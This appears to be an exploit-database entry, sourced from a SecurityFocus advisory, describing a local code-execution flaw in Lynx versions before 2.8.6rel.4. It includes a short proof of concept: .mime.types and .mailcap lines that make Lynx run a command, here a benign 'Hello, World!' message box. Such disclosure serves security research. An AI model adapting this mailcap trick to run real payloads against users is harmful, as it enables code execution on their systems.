Lynx 2.8 - .mailcap.mime.type Local Code Execution

2008-11-03T00:00:00
ID EXPLOITPACK:BB2835874629FE7170B87944A8FC3E59
Type exploitpack
Reporter Piotr Engelking
Modified 2008-11-03T00:00:00

Description

Lynx 2.8 - .mailcap.mime.type Local Code Execution

                                        
                                            source: https://www.securityfocus.com/bid/31917/info

Lynx is prone to a local code-execution vulnerability.

Successful exploits may allow attackers to execute arbitrary code within the context of the user running the affected application.

Versions prior to Lynx 2.8.6rel.4 are affected.

.mime.types:
application/x-bug bug

.mailcap:
application/x-bug; xmessage 'Hello, World!'